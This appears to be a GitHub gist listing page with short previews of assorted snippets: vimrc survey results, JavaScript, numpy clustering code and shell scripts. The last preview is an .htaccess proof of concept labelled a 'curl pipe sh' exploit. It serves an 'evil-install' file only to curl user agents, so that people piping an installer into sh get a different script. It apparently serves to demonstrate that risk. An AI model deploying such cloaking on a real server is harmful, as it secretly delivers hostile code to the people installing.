Skip to content

Instantly share code, notes, and snippets.

View captbaritone's full-sized avatar
💭
-=[ Dorkin' Out ]=-

Jordan Eldredge captbaritone

💭
-=[ Dorkin' Out ]=-
View GitHub Profile
I have two assets, one Facebook, one Twitter
I can't currently connect either one to any of my four worspaces in dev
I get "No accounts to connect." after clicking "authorize app" (or equivalent)
I am running Celery
I am running upstream/master
Each of the assets show up in dev debug as "deactivated"
In staging I can connect them to my workspace
In staging I can disconnect them from my workspace
In staging I can reconnect them to my workspace
@captbaritone
captbaritone / vimrc_survey
Created February 4, 2015 01:13
Survey of 73 .vimrc files
" I grabbed 73 .vimrc files from GitHub. After some manual massaging, these were the most common lines:
" Code used: https://github.com/captbaritone/vimrc-survey
" Number of occurances: Command
46: set nocompatible
43: syntax on
40: set expandtab
34: set backspace=indent,eol,start
<script src="js/marked.js"></script>
<script>
function render(data) {
if(data.template) {
var request = new XMLHttpRequest();
request.onload = function() {
delete data.template;
var front = /^---\n((.|\n)*)\n---/;
data.content = request.response.replace(front, function(f, json) {
settings = JSON.parse(json);
from numpy.linalg import svd
from numpy import array
CLUSTERS = 2
character_index_lookup = {
0: "Papageno",
1: "Figaro",
2: "Mimi",
3: "Rudolfo",
var src_url="https://spshared.5min.com/Scripts/PlayerSeed.js?playList=517858080&height=381&width=570&sid=577&videoGroupID=148829&relatedNumOfResults=100&relatedMode=2&relatedBottomHeight=60&companionPos=&hasCompanion=false&autoStart=false&colorPallet=%23CC0000&vcdBgColor=%2323191919&shuffle=0&continuous=true";
src_url += "&onVideoDataLoaded=HPTrack.Vid.DL&onTimeUpdate=HPTrack.Vid.TC";
if (typeof(commercial_video) == "object") {
src_url += "&siteSection="+commercial_video.site_and_category;
if (commercial_video.package) {
src_url += "&sponsorship="+commercial_video.package;
}
};
document.write('<scr' + 'ipt type="text/java
#!/bin/sh
#
# This shell script passes all its arguments to the binary inside the
# MacVim.app application bundle. If you make links to this script as view,
# gvim, etc., then it will peek at the name used to call it and set options
# appropriately.
#
# Based on a script by Wout Mertens and suggestions from Laurent Bihanic. This
# version is the fault of Benji Fisher, 16 May 2005 (with modifications by Nico
# Weber and Bjorn Winckler, Aug 13 2007).
site_url("api/v1/ticket/checkin/<API KEY>/<EVENT%20ID>/<Ticket%20ID>");
@captbaritone
captbaritone / vimrc
Created August 24, 2012 00:55 — forked from natlownes/vimrc
# tiny success: http://bit.ly/RhpepU
# osx specific, mpg123 or the like for linux
nmap HH :silent ! afplay /Users/nat/.vim/audio/succ_horns01.mp3 1>&-2>&-&<CR><C-l>
@captbaritone
captbaritone / .htaccess
Created November 9, 2012 01:54
"curl pipe sh" exploit proof of concept
# Forbid directory listing
Options -Indexes
# Serve `evil-install` instead of `install` to curl
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} curl [NC]
RewriteRule ^install$ evil-install [L]